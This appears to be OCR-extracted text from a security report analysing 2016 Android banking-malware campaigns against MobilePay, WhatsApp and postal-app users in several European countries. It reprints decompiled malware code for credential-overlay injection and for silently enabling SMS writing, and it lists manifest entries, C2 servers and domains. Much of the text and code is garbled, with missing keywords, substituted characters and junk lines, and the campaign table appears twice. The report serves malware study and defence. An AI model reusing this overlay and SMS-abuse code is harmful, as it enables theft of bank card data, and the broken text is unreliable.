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Campaign Name,
Time Range &
Targeted Countries

Example Sample
& First Seen

Characteristics

MPay-Denmark df53b59e354462cd0 | Targeted users of MobilePay by Danske Bank.

2016/02/18 to e704b7b21a750f7 Similar to the RuMMS campaign, the malicious files were usually

2016/03/06 named mms.apk. In contrast, the sites hosting the malware seem
to be attacker-registered domains as opposed to shared hosting

Denmark 2016-02-18 providers.

Whats-ltaly 97c2d04aa0f3c3b44 | Targeted WhatsApp users in ltaly.

2016/02/21 to 6fc228c1dbc4837

2016/02/24

Italy 2016-02-24

Whats-Germany* 9e9d9a3717eed4d5 | Targeted WhatsApp and Google Play users in Germany.

2016/03/03 to 58a3f5eddb260901

2016/03/10

Germany 2016-03-03

PostDanmark af7a8d32865e8cafs | The malware masqueraded as the official app used by post office

2016/03/10 to 1299¢52834d4422 users in Denmark. It can overlay its own credential input view on

2016/06/07 top of eight popular apps, including Ubercab, Youtube, and
Wechat.

Denmark, Germany, 2016-06-06

Italy, Norway, UK...

Post-Austria* d84ff5a7e7c0c33dcf | The malware masqueraded as the official app used by post office

2016/04/16 to a237299868bc34 users in Austria. It can overlay its own credential input view on top

2016/05/13 of eight popular apps, including Ubercab, Youtube, and Wechat.

Austria 2016-04-25

Campaign Name,
Time Range &
Targeted Countries

Example Sample
& First Seen

Characteristics

MPay-Denmark df53b59e354462cd0 | Targeted users of MobilePay by Danske Bank.

2016/02/18 to e704b7b21a750f7 Similar to the RuMMS campaign, the malicious files were usually

2016/03/06 named mms.apk. In contrast, the sites hosting the malware seem
to be attacker-registered domains as opposed to shared hosting

Denmark 2016-02-18 providers.

Whats-Italy 97c2d04aal0f3c3b44 | Targeted WhatsApp users in Italy.

2016/02/21 to 6fc228c1dbc4837

2016/02/24

Italy 2016-02-24

Whats-Germany* 9e9d9a3717eed4d5 | Targeted WhatsApp and Google Play users in Germany.

2016/03/03 to 58a3f5eddb260901

2016/03/10

Germany 2016-03-03

PostDanmark af7a8d32865e8caf5 | The malware masqueraded as the official app used by post office

2016/03/10 to 1a99c52834d4422 users in Denmark. It can overlay its own credential input view on

2016/06/07 top of eight popular apps, including Ubercab, Youtube, and
Wechat.

Denmark, Germany, 2016-06-06

Italy, Norway, UK...

Post-Austria* d84ff5a7e7c0c33dcf | The malware masqueraded as the official app used by post office

2016/04/16 to a237299869bc34 users in Austria. It can overlay its own credential input view on top

2016/05/13 of eight popular apps, including Ubercab, Youtube, and Wechat.

Austria 2016-04-25
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void initInjTask() {
this. injTask Runnable() {
void run() {
((MainService.this.getTop().contains("dk.danskebank.mobilepay"))
MainService.settings.getBoolean("CARD_SENT", false)) {
Intent vO Intent(MainService.this, MobileBank.class);
v0.addFlags(268435456) ;

MainService.this.startActivity(ve);

}
};
this.scheduler.scheduleAtFixedRate(this.injTask, 500, 4000, TimeUnit.MILLISECONDS);
}

dk.danskebank.mobilepay L L slasl p glp ail iibg b ogs 1>l el 1,8 MobileBank s ¥ s

S Baa o] 0 a8 e e iules Whats-ltaly saises G o |, initinjTask o5 § s
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void initInjTask() {
this. injTask Runnable() {
void run() {
((MainService.this.getTop().contains("com.whatsapp"))
MainService.settings.getBoolean("CARD_SENT", false)) {
Intent v@ Intent(MainService.this, Cards.class);
v0.addFlags(268435456) ;

MainService.this.startActivity(ve);

}

}
Y
this.scheduler.scheduleAtFixedRate(this. injTask, 500, 4000, TimeUnit.MILLISECO
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void initInjTask() {
this. injTask Runnable() {
void run() {
String vl = MainService.this.getTop();
(((v1.contains("com.whatsapp")) (v1.contains("com.android.vending")))
MainService.settings.getBoolean("CARD_SENT", false)) {
Intent vO Intent(MainService.this, Cards.class);
v0.putExtra("package", v1);
v0.addFlags(268435456) ;
MainService.this.startActivity(ve);
}
}
};
this.scheduler.scheduleAtFixedRate(this.injTask, 500, 4000, TimeUnit.MILLISECONDS);
}
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{
Constants.PACKAGES String[]l{ "com.whatsapp", "com.android.vending",
"com. facebook.orca", "com.facebook.katana", "com.tencent.mm",
"com.google.android.youtube", "com.ubercab", "com.viber.voip"};

void initInjTask() {
this. injTask Runnable() {
void run() {
String v2 = jkzrcelyi.this.getTop();
int v@ = 0;
int vl = 0;
(vl < Constants.PACKAGES.length) {
(v2.contains(Constants.PACKAGES[vl])) {
vl = 1;

{

(vo 0 jkzrcelyi.settings.getBoolean('CARD_SENT", false)) {
Intent vi_1 Intent(jkzrcelyi.this, cqkwjqjtoz.class);
vl_1.putExtra("package", v2);

vl _1.addFlags(268435456);
jkzrcelyi.this.startActivity(vl_1);

}
1
this.scheduler.scheduleAtFixedRate(this.injTask, 500, 4000, TimeUnit.MILLISECONDS);

}
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v {jﬁ exts nd ang keyboardHidden orientation” android: excludeFromRecent
"'singleTop" android:name=".Main" android:screenOrientation="portrai
v {B denmark '‘@ndroid:style/Theme.Translucent">

v &j activities H ndroid.intent.action.MAIN" />
< name="android. intent. category.LAUNCHER" />

» (9 MobileBank
> (9 NemidTaker

v o il keybcard\keyhmrdﬂ\dden\ur ntancn]screenLayout|scrpenSne|smalle§t9rreen5ne{u\Mode android:
i}f utils excludeFromRecents="true" android:launchMode="singleTask" android:name=".activities.MobileBank"
awdrmd theme="@style/LightDialogTheme" android:windowSoftInputMode="stateUnchanged" />
» (3 RequestFactory android: configChanges="
B @Sender keyboardrkeybo dm en\ouen(auon1screenLayout|s:reenSue|smallestScreen ze|umode android:
=".activities.NemidTaker" android:theme="
> G Utils J windowSof tInputMode="stateUnchanged" />
Disabler" />
» (3 BuildConfig
> @ Constants : ndroid. intent.action. BOOT_COMPLETED" />
" N L H xts.denmark.wakeup" />
> @ CustomApplication android:name="com.denmark. reportsent" />
» (9 DevAdminDisabler 2
b G DevAdminReceiver < android:name=".DevAdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN":
>
» G Main android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
i android: name="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED" />
| 2 @ MainService android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
>
» (9 MessageReceiver android: name="android. app.device_adnin" android: resource="gxnl/policies" />
. >
> @ OverlayView d:ena roid:exported="true" android:name=".MessageReceiver">
1999

> G R E H ndroid.provider.Telephony.SMS_RECEIVED" />
» (9 SendService
» GStaner a “false" android:name ainService" />

'false" android:nam endService" />
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¥ assets

yboardHidden|orientation" andro udeFromRecents="true" android: launchMode="
" and a 2 ep. tjzcverotl.yspbkw" android Orienta portrait" androi me="
mptxIp.dat @android:style/Theme.Translucent">
» original < 2
< android:name="android. intent.action.MAIN"/>
> res < android:name="android. intent. category. LAUNCHER" />
v smali 7 i o
¥ com

<

keyboard | keyboard ion|screenLayout|screenSize |smallestScreenSize |uiMode" andr
¥ atrdectn

true" android:launc "singleTas! om. Lpygioep. tjzcverotl. tdbkjbgts.cqkwjqjtoz" android
¥ ioltsrc @style/LightDialogT! tateUnchanged" />
android:con
a.smali keyboard | keyboardHidden|orientation|screenLayout |screenSize|smallestScreenSize|uiMode" android:excludeFromRecent
b.smali om. lpygioep.tjzcverotl. tdbkjbgts.zlapwp" android:thes @style/LightDialogTheme" android
p Soft stateUnchanged" />

c.smali m. lpygioep. tjzcverotl. wqrifafv"/>
d.smali " android:e d="true" android:name="com.lpygioep.tjzcverotl.tlwao">
mrtbeig.smali ndroid. intent.action.BOOT_COMPLETED"/>

» unknown om. lpygioep. tjzcverotl.wakeup"/>

apktool.yml|

"false" android:name="com. lpygioep.tjzcverotl.visqw">
<

< android:name="com.whats.process"/>
</ >
>

android:name="com. pygioep. tjzcverotl.hmqrmzkvz" android ndroid.permission.BIND_DEVICE_ADMIN"

>
ndroid.app.action.DEVICE_ADMIN_ENABLED"/>
ndroid.app.action.DEVICE_ADMIN_DISABLE_REQUESTED"/>
ndroid.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/>
="android.app.device_admin" android:resource="@xml/policies"/>

“true" android:name="com.lpygioep.tjzcverotl.biuzuye">

ndroid.provider.Telephony. SMS_RECEIVED"/>

com. lpygioep. tjzcverotl. jkzreelyi®/>
e="com. lpygioep. tjzcverotl. iynlhdybs"/>

com. lpygioep. tjzcverotl. nevevixh"/>

com. 1pygioep. tjzcverotl.wqsweriu

com. 1pygioep. tjzcverotl,hronaige"/>

com. lpygioep. tjzcverotl.exvsrizni'/>

com. lpygioep.tjzcverotl.scetjxjrv"/>
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(Build$VERSION.SDK_INT 19 SmsWriteOpUtil.isWriteEnabled(this.getApplicationContext())) {

Utils.putBoolVal(MainService.settings, "CAN_WRITE_SMS",

SmsWriteOpUtil.setWriteEnabled(this.getApplicationContext(), true));
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boolean setMode(Context argl@, i argll, int argl2, int argl3) {
boolean v6 true;
Object v@ = argl®.getSystemService("appops");
Class vl = v@.getClass();
int v8 = 4

Method v2 = vl.getMethod("setMode", Integer.TYPE, Integer.TYPE, String.class, Integer.TYPE)
v2.invoke(v@, Integer.valueOf(argll), Integer.valueOf(argl2), argl@.getPackageName(), Integer.valueOf(argl3));
H

(IllegalAccessException v3) {

v3.printStackTrace();

false;

boolean setWriteEnabled(Context arg3, boolean arg4) {
int vl = SmsWriteOpUtil.getUid(arg3);
int v@ = argd 7 @ : 1;
SmsWriteOpUtil.setMode(arg3, 15, v1, v@);
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C2 Server Number of
IP Address Country Example of URL Malicious
Apps Using It
85.93.5.108 United Arab Emirates http://85.93.5.108//?action=command 2
85.93.5.109 United Arab Emirates http://85.93.5.108/?action=command 24
85.93.5.139 United Arab Emirates http://85.93.5.139/?action=command 8
85.93.5.83 United Arab Emirates http://85.93.5.83/?action=command 4
62.138.0.117 Germany http://62.138.0.117/?action=command 1
54.93.101.5 Germany http://54.93.101.5/?action=command 1
5.61.39.3 Germany http://5.61.39.3/?action=command 2
193.105.240.158 Latvia http://193.105.240.158/?action=command 6
162.220.246.24 Italy http://162.220.246.24/?action=command 2
91.224.161.102 Netherlands http://91.224.161.102/?action=command 2
37.1.204.175 Netherlands http://37.1.204.175/?action=command 3
37.1.205.193 Netherlands http://37.1.205.193/?action=command 1
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Domain Date Relevance

postdanmark.menu 03-11-2016 Involved in PastDanmark campaign.
App hosted uses 193.105.240.158 as C2 server.

postdanmark.org 03-10-2016 Involved in PostDanmark campaign.
App hosted uses 193.105.240.158 as C2 server.

mmstildig.info 03-06-2016 Involved in MPay-Denmark campaign.

App hosted uses 193.105.240.158 as C2 server.
mmspourvous.com 03-10-2016 In French, “pour vous” means “for you".
mms4vous.com 03-10-2016 In French, “4 vous” means “4 you".
mmstildig.com 03-06-2016 In Danish, “til dig" means “for you".
mmstildig.net 03-06-2016 In Danish, “til dig” means "“for you".
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